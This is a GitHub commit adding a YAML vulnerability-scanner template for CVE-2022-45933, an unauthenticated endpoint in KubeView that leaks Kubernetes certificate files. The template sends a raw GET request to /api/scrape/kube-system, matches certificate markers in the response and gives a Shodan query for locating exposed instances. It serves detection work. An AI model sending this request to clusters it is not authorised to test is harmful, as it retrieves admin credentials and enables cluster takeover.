Create CVE-2022-45933.yaml

patch-1
For3stCo1d 2022-11-29 16:58:39 +08:00 committed by GitHub
parent c78e073c39
commit dd44fbb4e6
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 34 additions and 0 deletions

View File

@ -0,0 +1,34 @@
id: CVE-2022-45933
info:
name: KubeView - Information disclosure
author: For3stCo1d
severity: high
description: |
KubeView through 0.1.31 allows attackers to obtain control of a Kubernetes cluster because api/scrape/kube-system does not require authentication, and retrieves certificate files that can be used for authentication as kube-admin. NOTE: the vendor's position is that KubeView was a "fun side project and a learning exercise," and not "very secure."
reference:
- https://github.com/benc-uk/kubeview/issues/95
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-45933
metadata:
shodan-query: http.title:"KubeView"
tags: cve,cve2022,kubeview,kubernetes,exposure
requests:
- raw:
- |
GET /api/scrape/kube-system HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '-----BEGIN CERTIFICATE-----'
- '-----END CERTIFICATE-----'
- 'kubernetes.io'
condition: and
- type: status
status:
- 200